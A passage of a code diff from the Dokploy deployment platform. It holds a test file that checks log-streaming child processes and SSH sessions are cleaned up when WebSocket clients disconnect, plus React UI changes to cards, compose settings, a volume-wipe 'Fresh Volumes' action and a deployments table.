// Mirrors ChildProcess: `killed` flips as soon as a signal is delivered,
// even if the process ignores it and keeps running.
ignoreSigterm = false;
kill(signal: NodeJS.Signals = "SIGTERM") {
this.signals.push(signal);
this.killed = true;
if (signal === "SIGTERM" && this.ignoreSigterm) return true;
this.signalCode = signal;
this.emit("close", null, signal);
return true;
}
}
const children = vi.hoisted(() => [] as FakeChild[]);
const nextChild = vi.hoisted(() => ({ ignoreSigterm: false }));
vi.mock("node:child_process", async (importOriginal) => ({
...(await importOriginal<typeof import("node:child_process")>()),
spawn: vi.fn(() => {
const child = new FakeChild();
child.ignoreSigterm = nextChild.ignoreSigterm;
children.push(child);
return child;
}),
}));
const sshClients = vi.hoisted(
() => [] as { connect: ReturnType<typeof vi.fn> }[],
);
vi.mock("ssh2", () => ({
Client: vi.fn(function (this: Record<string, unknown>) {
this.on = vi.fn(() => this);
this.connect = vi.fn(() => this);
this.end = vi.fn();
sshClients.push(this as never);
}),
}));
const mockValidateRequest = vi.hoisted(() => vi.fn());
const mockFindServerById = vi.hoisted(() => vi.fn());
vi.mock("@dokploy/server", () => ({
IS_CLOUD: false,
validateRequest: mockValidateRequest,
findServerById: mockFindServerById,
}));
vi.mock("@dokploy/server/wss/utils", () => ({
readValidDirectory: () => true,
}));
import { setupDeploymentLogsWebSocketServer } from "@/server/wss/listen-deployment";
const AUTH = {
user: { id: "user-1" },
session: { activeOrganizationId: "org-1" },
};
const deferred = <T>() => {
let resolve!: (value: T) => void;
const promise = new Promise<T>((r) => {
resolve = r;
});
return { promise, resolve };
};
const flush = () => new Promise((r) => setTimeout(r, 50));
let server: http.Server;
let url: string;
beforeEach(async () => {
children.length = 0;
sshClients.length = 0;
nextChild.ignoreSigterm = false;
vi.clearAllMocks();
server = http.createServer();
setupDeploymentLogsWebSocketServer(server);
await new Promise<void>((r) => server.listen(0, "127.0.0.1", r));
const { port } = server.address() as AddressInfo;
url = `ws://127.0.0.1:${port}/listen-deployment?logPath=/etc/dokploy/logs/app/deploy.log`;
});
afterEach(async () => {
vi.useRealTimers();
await new Promise((r) => server.close(r));
});
const connect = async (query = "") => {
const ws = new WebSocket(`${url}${query}`);
await new Promise((r) => ws.once("open", r));
return ws;
};
const closeClient = async (ws: WebSocket) => {
ws.close();
await new Promise((r) => ws.once("close", r));
await flush();
};
describe("deployment logs websocket (#5518)", () => {
it("kills tail when the client disconnects", async () => {
mockValidateRequest.mockResolvedValue(AUTH);
const ws = await connect();
await flush();
expect(children).toHaveLength(1);
await closeClient(ws);
expect(children[0]!.signals).toContain("SIGTERM");
});
it("does not spawn tail when the client disconnects during auth", async () => {
const auth = deferred<typeof AUTH>();
mockValidateRequest.mockReturnValue(auth.promise);
const ws = await connect();
await closeClient(ws);
auth.resolve(AUTH);
await flush();
const leaked = children.filter(
(c) => c.exitCode === null && c.signalCode === null,
);
expect(leaked).toHaveLength(0);
});
it("does not open an SSH session when the client disconnects while loading the server", async () => {
mockValidateRequest.mockResolvedValue(AUTH);
const serverLookup = deferred<unknown>();
mockFindServerById.mockReturnValue(serverLookup.promise);
const ws = await connect("&serverId=srv-1");
await closeClient(ws);
serverLookup.resolve({
organizationId: "org-1",
sshKeyId: "key-1",
sshKey: { privateKey: "key" },
ipAddress: "10.0.0.1",
port: 22,
username: "root",
});
await flush();
const connected = sshClients.filter((c) => c.connect.mock.calls.length > 0);
expect(connected).toHaveLength(0);
});
it("force-kills tail with SIGKILL when SIGTERM does not stop it", async () => {
nextChild.ignoreSigterm = true;
mockValidateRequest.mockResolvedValue(AUTH);
const ws = await connect();
await flush();
await closeClient(ws);
await new Promise((r) => setTimeout(r, 1100));
expect(children[0]!.signals).toEqual(["SIGTERM", "SIGKILL"]);
});
});
@@ -84,9 +84,9 @@ export const ShowPatches = ({ id, type }: Props) => {
return (
<Card className="bg-background">
<CardHeader className="flex flex-row items-center flex-wrap gap-4 justify-between">
<div className="flex flex-col gap-1">
<CardTitle className="text-xl">Patches</CardTitle>
<CardHeader className="flex flex-row items-center justify-between">
<div>
<CardTitle>Patches</CardTitle>
<CardDescription>
Apply code patches to your repository during build. Patches are
applied after cloning the repository and before building.
@@ -77,19 +77,23 @@ export const ShowSchedules = ({ id, scheduleType = "application" }: Props) => {
};
return (
<Card className="bg-background h-full min-h-[50vh]">
<CardHeader className="flex flex-row items-center flex-wrap gap-4 justify-between">
<div className="flex flex-col gap-1">
<CardTitle className="text-xl">Scheduled Tasks</CardTitle>
<CardDescription>
Schedule tasks to run automatically at specified intervals.
</CardDescription>
<Card className=" px-6 shadow-none bg-transparent h-full min-h-[50vh]">
<CardHeader className="px-0">
<div className="flex justify-between items-center gap-y-2 flex-wrap">
<div className="flex flex-col gap-2">
<CardTitle className="text-xl font-bold flex items-center gap-2">
Scheduled Tasks
</CardTitle>
<CardDescription>
Schedule tasks to run automatically at specified intervals.
</CardDescription>
</div>
{schedules && schedules.length > 0 && (
<HandleSchedules id={id} scheduleType={scheduleType} />
)}
</div>
{schedules && schedules.length > 0 && (
<HandleSchedules id={id} scheduleType={scheduleType} />
)}
</CardHeader>
<CardContent>
<CardContent className="px-0">
{isLoadingSchedules ? (
<div className="flex gap-4 w-full items-center justify-center text-center mx-auto min-h-[45vh]">
<Loader2 className="size-4 text-muted-foreground/70 transition-colors animate-spin self-center" />
@@ -77,26 +77,35 @@ export const ShowVolumeBackups = ({
};
return (
<Card className="bg-background h-full min-h-[50vh]">
<CardHeader className="flex flex-row items-center flex-wrap gap-4 justify-between">
<div className="flex flex-col gap-1">
<CardTitle className="text-xl">Volume Backups</CardTitle>
<CardDescription>
Schedule volume backups to run automatically at specified intervals
</CardDescription>
</div>
<div className="flex items-center gap-2 flex-wrap">
{volumeBackups && volumeBackups.length > 0 && (
<>
<HandleVolumeBackups id={id} volumeBackupType={type} />
<div className="flex items-center gap-2">
<RestoreVolumeBackups id={id} type={type} serverId={serverId} />
</div>
</>
)}
<Card className=" px-6 shadow-none bg-transparent h-full min-h-[50vh]">
<CardHeader className="px-0">
<div className="flex justify-between items-center flex-wrap gap-2">
<div className="flex flex-col gap-2">
<CardTitle className="text-xl font-bold flex items-center gap-2">
Volume Backups
</CardTitle>
<CardDescription>
Schedule volume backups to run automatically at specified
intervals
</CardDescription>
</div>
<div className="flex items-center gap-2 flex-wrap">
{volumeBackups && volumeBackups.length > 0 && (
<>
<HandleVolumeBackups id={id} volumeBackupType={type} />
<div className="flex items-center gap-2">
<RestoreVolumeBackups
id={id}
type={type}
serverId={serverId}
/>
</div>
</>
)}
</div>
</div>
</CardHeader>
<CardContent>
<CardContent className="px-0">
{isLoadingVolumeBackups ? (
<div className="flex gap-4 w-full items-center justify-center text-center mx-auto min-h-[45vh]">
<Loader2 className="size-4 text-muted-foreground/70 transition-colors animate-spin self-center" />
@@ -22,7 +22,6 @@ import {
FormMessage,
} from "@/components/ui/form";
import { Input } from "@/components/ui/input";
import { Switch } from "@/components/ui/switch";
import { api } from "@/utils/api";
interface Props {
@@ -31,7 +30,6 @@ interface Props {
const AddRedirectSchema = z.object({
command: z.string(),
pullImages: z.boolean(),
});
type AddCommand = z.infer<typeof AddRedirectSchema>;
@@ -59,25 +57,22 @@ export const AddCommandCompose = ({ composeId }: Props) => {
const form = useForm<AddCommand>({
defaultValues: {
command: "",
pullImages: false,
},
resolver: zodResolver(AddRedirectSchema),
});
useEffect(() => {
if (data) {
if (data?.command) {
form.reset({
command: data.command || "",
pullImages: data.pullImages ?? false,
command: data?.command || "",
});
}
}, [form, form.reset, form.formState.isSubmitSuccessful, data]);
}, [form, form.reset, form.formState.isSubmitSuccessful, data?.command]);
const onSubmit = async (formData: AddCommand) => {
const onSubmit = async (data: AddCommand) => {
await mutateAsync({
composeId,
command: formData.command,
pullImages: formData.pullImages,
command: data?.command,
})
.then(async () => {
toast.success("Command Updated");
@@ -114,30 +109,6 @@ export const AddCommandCompose = ({ composeId }: Props) => {
<strong>docker</strong>.
</AlertBlock>
<div className="flex flex-col gap-4">
{data?.composeType === "docker-compose" && (
<FormField
control={form.control}
name="pullImages"
render={({ field }) => (
<FormItem className="flex flex-row items-center justify-between rounded-lg border p-3 shadow-xs">
<div className="space-y-0.5">
<FormLabel>Pull latest images on deploy</FormLabel>
<FormDescription>
Adds <strong>--pull always</strong> to the default
command so every deploy fetches the newest image for
each tag. Has no effect when a custom command is set.
</FormDescription>
</div>
<FormControl>
<Switch
checked={field.value}
onCheckedChange={field.onChange}
/>
</FormControl>
</FormItem>
)}
/>
)}
<FormField
control={form.control}
name="command"
@@ -1,216 +0,0 @@
import { standardSchemaResolver as zodResolver } from "@hookform/resolvers/standard-schema";
import copy from "copy-to-clipboard";
import { AlertTriangle, Copy, HardDriveDownload } from "lucide-react";
import { useRouter } from "next/router";
import { useState } from "react";
import { useForm } from "react-hook-form";
import { toast } from "sonner";
import { z } from "zod";
import { AlertBlock } from "@/components/shared/alert-block";
import { Badge } from "@/components/ui/badge";
import { Button } from "@/components/ui/button";
import { Card, CardContent, CardHeader, CardTitle } from "@/components/ui/card";
import {
Dialog,
DialogContent,
DialogDescription,
DialogFooter,
DialogHeader,
DialogTitle,
DialogTrigger,
} from "@/components/ui/dialog";
import {
Form,
FormControl,
FormField,
FormItem,
FormLabel,
FormMessage,
} from "@/components/ui/form";
import { Input } from "@/components/ui/input";
import { api } from "@/utils/api";
const freshVolumesSchema = z.object({
confirmName: z.string().min(1, {
message: "Compose name is required",
}),
});
type FreshVolumesForm = z.infer<typeof freshVolumesSchema>;
interface Props {
composeId: string;
}
export const FreshVolumes = ({ composeId }: Props) => {
const router = useRouter();
const [isOpen, setIsOpen] = useState(false);
const { data: permissions } = api.user.getPermissions.useQuery();
const canDeploy = permissions?.deployment.create ?? false;
const { data, refetch } = api.compose.one.useQuery(
{ composeId },
{ enabled: !!composeId },
);
const { mutateAsync: deploy, isPending } = api.compose.deploy.useMutation();
const form = useForm<FreshVolumesForm>({
defaultValues: { confirmName: "" },
resolver: zodResolver(freshVolumesSchema),
});
const expectedName = `${data?.name}/${data?.appName}`;
const isRunning = data?.composeStatus === "running";
const onSubmit = async (formData: FreshVolumesForm) => {
if (formData.confirmName !== expectedName) {
form.setError("confirmName", {
message: `Compose name must match "${expectedName}"`,
});
return;
}
await deploy({ composeId, freshVolumes: true })
.then(() => {
toast.success("Compose deployed with fresh volumes");
setIsOpen(false);
form.reset();
refetch();
router.push(
`/dashboard/project/${data?.environment.projectId}/environment/${data?.environmentId}/services/compose/${composeId}?tab=deployments`,
);
})
.catch(() => {
toast.error("Error deploying compose");
});
};
if (!canDeploy || data?.composeType !== "docker-compose") return null;
return (
<Card className="bg-background border-destructive/50">
<CardHeader>
<CardTitle className="text-xl flex items-center gap-2">
<AlertTriangle className="h-5 w-5 text-destructive" />
Danger Zone
</CardTitle>
</CardHeader>
<CardContent>
<div className="flex flex-col gap-4">
<div className="flex flex-col gap-2">
<h3 className="text-base font-semibold">
Deploy with Fresh Volumes
</h3>
<p className="text-sm text-muted-foreground">
Permanently wipes every volume of this compose and redeploys it
from a clean state. All persistent data (databases, uploads,
caches) will be lost.
</p>
</div>
<Dialog
open={isOpen}
onOpenChange={(open) => {
setIsOpen(open);
if (!open) form.reset();
}}
>
<DialogTrigger asChild>
<Button
isLoading={isPending}
variant="outline"
className="w-full border-destructive/50 hover:bg-destructive/10 hover:text-destructive text-destructive"
>
<HardDriveDownload className="mr-2 h-4 w-4" />
Deploy with Fresh Volumes
</Button>
</DialogTrigger>
<DialogContent className="sm:max-w-lg">
<DialogHeader>
<DialogTitle className="flex items-center gap-2">
<AlertTriangle className="h-5 w-5 text-destructive" />
Are you absolutely sure?
</DialogTitle>
<DialogDescription asChild>
<div className="space-y-2">
<p>This action will:</p>
<ul className="list-disc list-inside space-y-1">
<li>Stop the current compose</li>
<li>Delete all volumes and their data</li>
<li>Redeploy the compose with empty volumes</li>
</ul>
<p className="font-medium text-destructive mt-4">
This action cannot be undone.
</p>
</div>
</DialogDescription>
</DialogHeader>
<Form {...form}>
<form
onSubmit={form.handleSubmit(onSubmit)}
id="hook-form-fresh-volumes"
className="grid w-full gap-4"
>
<FormField
control={form.control}
name="confirmName"
render={({ field }) => (
<FormItem>
<FormLabel className="flex items-center gap-2">
<span>
To confirm, type{" "}
<Badge
className="p-2 rounded-md ml-1 mr-1 hover:border-primary hover:text-primary-foreground hover:bg-primary hover:cursor-pointer"
variant="outline"
onClick={() => {
if (data?.name && data?.appName) {
copy(expectedName);
toast.success(
"Copied to clipboard. Be careful!",
);
}
}}
>
{expectedName}&nbsp;
<Copy className="h-4 w-4 ml-1 text-muted-foreground" />
</Badge>{" "}
in the box below:
</span>
</FormLabel>
<FormControl>
<Input
placeholder="Enter compose name to confirm"
autoComplete="off"
{...field}
/>
</FormControl>
<FormMessage />
</FormItem>
)}
/>
</form>
</Form>
{isRunning && (
<AlertBlock type="warning" className="w-full">
Cannot deploy with fresh volumes while a deployment is
running. Please wait for it to finish and then try again.
</AlertBlock>
)}
<DialogFooter>
<Button variant="secondary" onClick={() => setIsOpen(false)}>
Cancel
</Button>
<Button
isLoading={isPending}
disabled={isRunning}
form="hook-form-fresh-volumes"
type="submit"
variant="destructive"
>
Wipe volumes and deploy
</Button>
</DialogFooter>
</DialogContent>
</Dialog>
</div>
</CardContent>
</Card>
);
};
@@ -1,4 +1,11 @@
import { Ban, CheckCircle2, RefreshCcw, Rocket, Terminal } from "lucide-react";
import {
Ban,
CheckCircle2,
HardDriveDownload,
RefreshCcw,
Rocket,
Terminal,
} from "lucide-react";
import { useRouter } from "next/router";
import { Tooltip as TooltipPrimitive } from "radix-ui";
import { toast } from "sonner";
@@ -82,6 +89,51 @@ export const ComposeActions = ({ composeId }: Props) => {
</Button>
</DialogAction>
)}
{canDeploy && data?.composeType === "docker-compose" && (
<DialogAction
title="Deploy with Fresh Volumes"
description="This will remove all volumes and redeploy with a clean state. All persistent data will be permanently deleted."
type="destructive"
onClick={async () => {
await deploy({
composeId: composeId,
freshVolumes: true,
})
.then(() => {
toast.success("Compose deployed with fresh volumes");
refetch();
router.push(
`/dashboard/project/${data?.environment.projectId}/environment/${data?.environmentId}/services/compose/${composeId}?tab=deployments`,
);
})
.catch(() => {
toast.error("Error deploying compose");
});
}}
>
<Button
variant="outline"
isLoading={data?.composeStatus === "running"}
className="flex items-center gap-1.5 group focus-visible:ring-2 focus-visible:ring-offset-2"
>
<Tooltip>
<TooltipTrigger asChild>
<div className="flex items-center">
<HardDriveDownload className="size-4 mr-1" />
Fresh Volumes
</div>
</TooltipTrigger>
<TooltipPrimitive.Portal>
<TooltipContent sideOffset={5} className="z-[60]">
<p>
Deploy with fresh volumes (removes all persistent data)
</p>
</TooltipContent>
</TooltipPrimitive.Portal>
</Tooltip>
</Button>
</DialogAction>
)}
{canDeploy && (
<DialogAction
title="Rebuild Compose"
@@ -158,6 +158,7 @@ export const SaveBitbucketProviderCompose = ({ composeId }: Props) => {
composePath: data.composePath,
composeId,
sourceType: "bitbucket",
composeStatus: "idle",
watchPaths: data.watchPaths,
enableSubmodules: data.enableSubmodules,
})
@@ -97,6 +97,7 @@ export const SaveGitProviderCompose = ({ composeId }: Props) => {
composeId,
sourceType: "git",
composePath: values.composePath,
composeStatus: "idle",
watchPaths: values.watchPaths || [],
enableSubmodules: values.enableSubmodules,
})
@@ -157,6 +157,7 @@ export const SaveGiteaProviderCompose = ({ composeId }: Props) => {
giteaId: data.giteaId,
composeId,
sourceType: "gitea",
composeStatus: "idle",
watchPaths: data.watchPaths,
enableSubmodules: data.enableSubmodules,
} as any)
@@ -155,6 +155,7 @@ export const SaveGithubProviderCompose = ({ composeId }: Props) => {
composePath: data.composePath,
githubId: data.githubId,
sourceType: "github",
composeStatus: "idle",
watchPaths: data.watchPaths,
enableSubmodules: data.enableSubmodules,
triggerType: data.triggerType,
@@ -169,6 +169,7 @@ export const SaveGitlabProviderCompose = ({ composeId }: Props) => {
gitlabProjectId: data.repository.id,
gitlabPathNamespace: data.repository.gitlabPathNamespace,
sourceType: "gitlab",
composeStatus: "idle",
watchPaths: data.watchPaths,
enableSubmodules: data.enableSubmodules,
})
@@ -554,10 +554,7 @@ export const RestoreBackup = ({
value={field.value}
onValueChange={(value: DatabaseType) => {
field.onChange(value);
form.setValue("metadata", {
serviceName:
form.getValues("metadata.serviceName") ?? "",
});
form.setValue("metadata", {});
}}
>
<SelectTrigger>
@@ -584,7 +581,7 @@ export const RestoreBackup = ({
<div className="flex gap-2">
<Select
onValueChange={field.onChange}
value={field.value ?? ""}
value={field.value || undefined}
>
<FormControl>
<SelectTrigger>
@@ -1,4 +1,10 @@
import { ClipboardList, DatabaseBackup, Play, Trash2 } from "lucide-react";
import {
ClipboardList,
Database,
DatabaseBackup,
Play,
Trash2,
} from "lucide-react";
import Link from "next/link";
import { useState } from "react";
import { toast } from "sonner";
@@ -95,9 +101,12 @@ export const ShowBackups = ({
return (
<Card className="bg-background">
<CardHeader className="flex flex-row items-center flex-wrap gap-4 justify-between">
<div className="flex flex-col gap-1">
<CardTitle className="text-xl">Backups</CardTitle>
<CardHeader className="flex flex-row justify-between gap-4 flex-wrap">
<div className="flex flex-col gap-0.5">
<CardTitle className="text-xl flex flex-row gap-2">
<Database className="size-6 text-muted-foreground" />
Backups
</CardTitle>
<CardDescription>
Add backups to your database to save the data to a different
provider.
@@ -1,8 +1,10 @@
"use client";
import {
type ColumnFiltersState,
flexRender,
getCoreRowModel,
getFilteredRowModel,
getPaginationRowModel,
getSortedRowModel,
type PaginationState,
@@ -25,6 +27,7 @@ import Link from "next/link";
import { useMemo, useState } from "react";
import { Badge } from "@/components/ui/badge";
import { Button } from "@/components/ui/button";
import { Input } from "@/components/ui/input";
import {
Select,
SelectContent,
@@ -94,21 +97,14 @@ function getServiceInfo(d: DeploymentRow) {
return null;
}
interface ShowDeploymentsTableProps {
globalFilter: string;
statusFilter: string;
typeFilter: string;
}
export function ShowDeploymentsTable({
globalFilter,
statusFilter,
typeFilter,
}: ShowDeploymentsTableProps) {
export function ShowDeploymentsTable() {
const [sorting, setSorting] = useState<SortingState>([
{ id: "createdAt", desc: true },
]);
const [columnFilters, setColumnFilters] = useState<ColumnFiltersState>([]);
const [globalFilter, setGlobalFilter] = useState("");
const [statusFilter, setStatusFilter] = useState<string>("all");
const [typeFilter, setTypeFilter] = useState<string>("all");
const [pagination, setPagination] = useState<PaginationState>({
pageIndex: 0,
pageSize: 50,
@@ -450,140 +446,177 @@ export function ShowDeploymentsTable({
columns,
state: {
sorting,
columnFilters,
globalFilter,
pagination,
},
onSortingChange: setSorting,
onColumnFiltersChange: setColumnFilters,
onGlobalFilterChange: setGlobalFilter,
onPaginationChange: setPagination,
getCoreRowModel: getCoreRowModel(),
getSortedRowModel: getSortedRowModel(),
getFilteredRowModel: getFilteredRowModel(),
getPaginationRowModel: getPaginationRowModel(),
});
return (
<div className="px-0">
{isLoading ? (
<div className="flex gap-4 w-full items-center justify-center min-h-[45vh] text-muted-foreground">
<Loader2 className="size-4 animate-spin" />
<span>Loading deployments...</span>
</div>
) : (
<>
<div className="rounded-md border overflow-x-auto">
<Table>
<TableHeader>
{table.getHeaderGroups().map((headerGroup) => (
<TableRow key={headerGroup.id}>
{headerGroup.headers.map((header) => (
<TableHead key={header.id}>
{header.isPlaceholder
? null
: flexRender(
header.column.columnDef.header,
header.getContext(),
)}
</TableHead>
))}
</TableRow>
))}
</TableHeader>
<TableBody>
{table.getRowModel().rows?.length ? (
table.getRowModel().rows.map((row) => (
<TableRow key={row.id}>
{row.getVisibleCells().map((cell) => (
<TableCell key={cell.id}>
{flexRender(
cell.column.columnDef.cell,
cell.getContext(),
)}
</TableCell>
<div className="space-y-2">
<div className="flex flex-wrap items-center gap-2">
<Input
placeholder="Search by name, project, environment, server..."
value={globalFilter}
onChange={(e) => setGlobalFilter(e.target.value)}
className="max-w-xs"
/>
<Select value={statusFilter} onValueChange={setStatusFilter}>
<SelectTrigger className="w-[140px]">
<SelectValue placeholder="Status" />
</SelectTrigger>
<SelectContent>
<SelectItem value="all">All statuses</SelectItem>
<SelectItem value="running">Running</SelectItem>
<SelectItem value="done">Done</SelectItem>
<SelectItem value="error">Error</SelectItem>
<SelectItem value="cancelled">Cancelled</SelectItem>
</SelectContent>
</Select>
<Select value={typeFilter} onValueChange={setTypeFilter}>
<SelectTrigger className="w-[140px]">
<SelectValue placeholder="Type" />
</SelectTrigger>
<SelectContent>
<SelectItem value="all">All types</SelectItem>
<SelectItem value="application">Application</SelectItem>
<SelectItem value="compose">Compose</SelectItem>
</SelectContent>
</Select>
</div>
<div className="px-0">
{isLoading ? (
<div className="flex gap-4 w-full items-center justify-center min-h-[45vh] text-muted-foreground">
<Loader2 className="size-4 animate-spin" />
<span>Loading deployments...</span>
</div>
) : (
<>
<div className="rounded-md border overflow-x-auto">
<Table>
<TableHeader>
{table.getHeaderGroups().map((headerGroup) => (
<TableRow key={headerGroup.id}>
{headerGroup.headers.map((header) => (
<TableHead key={header.id}>
{header.isPlaceholder
? null
: flexRender(
header.column.columnDef.header,
header.getContext(),
)}
</TableHead>
))}
</TableRow>
))
) : (
<TableRow>
<TableCell
colSpan={columns.length}
className=" text-center"
>
<div className="flex flex-col min-h-[45vh] items-center justify-center gap-2 text-muted-foreground">
<Rocket className="size-8" />
<p className="font-medium">No deployments found</p>
<p className="text-sm">
Deployments from applications and compose will appear
here.
</p>
</div>
</TableCell>
</TableRow>
)}
</TableBody>
</Table>
</div>
<div className="flex flex-col gap-4 px-4 py-4 border-t sm:flex-row sm:items-center sm:justify-between">
<div className="flex items-center gap-2 flex-wrap">
<span className="text-sm text-muted-foreground whitespace-nowrap">
Rows per page
</span>
<Select
value={String(pagination.pageSize)}
onValueChange={(value) => {
setPagination((p) => ({
...p,
pageSize: Number(value),
pageIndex: 0,
}));
}}
>
<SelectTrigger className="h-8 w-[70px]">
<SelectValue />
</SelectTrigger>
<SelectContent side="top">
{[10, 25, 50, 100].map((size) => (
<SelectItem key={size} value={String(size)}>
{size}
</SelectItem>
))}
</SelectContent>
</Select>
<span className="text-sm text-muted-foreground whitespace-nowrap">
Showing{" "}
{filteredData.length === 0
? 0
: pagination.pageIndex * pagination.pageSize + 1}{" "}
to{" "}
{Math.min(
(pagination.pageIndex + 1) * pagination.pageSize,
filteredData.length,
)}{" "}
of {filteredData.length} entries
</span>
</TableHeader>
<TableBody>
{table.getRowModel().rows?.length ? (
table.getRowModel().rows.map((row) => (
<TableRow key={row.id}>
{row.getVisibleCells().map((cell) => (
<TableCell key={cell.id}>
{flexRender(
cell.column.columnDef.cell,
cell.getContext(),
)}
</TableCell>
))}
</TableRow>
))
) : (
<TableRow>
<TableCell
colSpan={columns.length}
className=" text-center"
>
<div className="flex flex-col min-h-[45vh] items-center justify-center gap-2 text-muted-foreground">
<Rocket className="size-8" />
<p className="font-medium">No deployments found</p>
<p className="text-sm">
Deployments from applications and compose will
appear here.
</p>
</div>
</TableCell>
</TableRow>
)}
</TableBody>
</Table>
</div>
<div className="flex items-center gap-2">
<Button
variant="outline"
size="sm"
className="h-8"
onClick={() => table.previousPage()}
disabled={!table.getCanPreviousPage()}
>
<ChevronLeft className="size-4" />
Previous
</Button>
<Button
variant="outline"
size="sm"
className="h-8"
onClick={() => table.nextPage()}
disabled={!table.getCanNextPage()}
>
Next
<ChevronRight className="size-4" />
</Button>
<div className="flex flex-col gap-4 px-4 py-4 border-t sm:flex-row sm:items-center sm:justify-between">
<div className="flex items-center gap-2 flex-wrap">
<span className="text-sm text-muted-foreground whitespace-nowrap">
Rows per page
</span>
<Select
value={String(pagination.pageSize)}
onValueChange={(value) => {
setPagination((p) => ({
...p,
pageSize: Number(value),
pageIndex: 0,
}));
}}
>
<SelectTrigger className="h-8 w-[70px]">
<SelectValue />
</SelectTrigger>
<SelectContent side="top">
{[10, 25, 50, 100].map((size) => (
<SelectItem key={size} value={String(size)}>
{size}
</SelectItem>
))}
</SelectContent>
</Select>
<span className="text-sm text-muted-foreground whitespace-nowrap">
Showing{" "}
{filteredData.length === 0
? 0
: pagination.pageIndex * pagination.pageSize + 1}{" "}
to{" "}
{Math.min(
(pagination.pageIndex + 1) * pagination.pageSize,
filteredData.length,
)}{" "}
of {filteredData.length} entries
</span>
</div>
<div className="flex items-center gap-2">
<Button
variant="outline"
size="sm"
className="h-8"
onClick={() => table.previousPage()}
disabled={!table.getCanPreviousPage()}
>
<ChevronLeft className="size-4" />
Previous
</Button>
<Button
variant="outline"
size="sm"
className="h-8"
onClick={() => table.nextPage()}
disabled={!table.getCanNextPage()}
>
Next
<ChevronRight className="size-4" />
</Button>
</div>
</div>
</div>
</>
)}
</>
)}
</div>
</div>
);
}

Some files were not shown because too many files have changed in this diff Show More